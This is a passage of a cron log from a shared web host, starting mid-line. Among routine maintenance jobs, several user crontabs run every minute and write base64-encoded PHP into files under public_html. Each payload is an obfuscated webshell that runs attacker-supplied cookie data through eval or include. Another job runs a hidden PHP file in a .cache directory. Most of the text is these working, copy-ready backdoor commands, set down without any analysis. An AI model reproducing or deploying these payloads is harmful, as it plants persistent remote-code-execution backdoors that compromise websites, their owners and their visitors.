ApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:27:01 medusa CROND[26771]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:27:01 medusa CROND[26772]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 15:27:01 medusa CROND[26777]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:27:01 medusa CROND[26778]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:27:01 medusa CROND[26779]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:27:01 medusa CROND[26782]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:27:01 medusa CROND[26783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:28:01 medusa CROND[28452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:28:01 medusa CROND[28461]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:28:01 medusa CROND[28462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:28:01 medusa CROND[28463]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:28:01 medusa CROND[28464]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:28:01 medusa CROND[28465]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 15:28:01 medusa CROND[28466]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:28:01 medusa CROND[28468]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:28:01 medusa CROND[28471]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:28:01 medusa CROND[28470]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:28:01 medusa CROND[28474]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:28:01 medusa CROND[28475]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:28:01 medusa CROND[28477]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:28:01 medusa CROND[28478]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 15:29:01 medusa CROND[30223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:29:01 medusa CROND[30230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:29:01 medusa CROND[30234]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:29:01 medusa CROND[30235]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 15:29:01 medusa CROND[30236]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:29:01 medusa CROND[30237]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 15:29:01 medusa CROND[30238]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:29:01 medusa CROND[30239]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:29:01 medusa CROND[30240]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:29:01 medusa CROND[30242]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
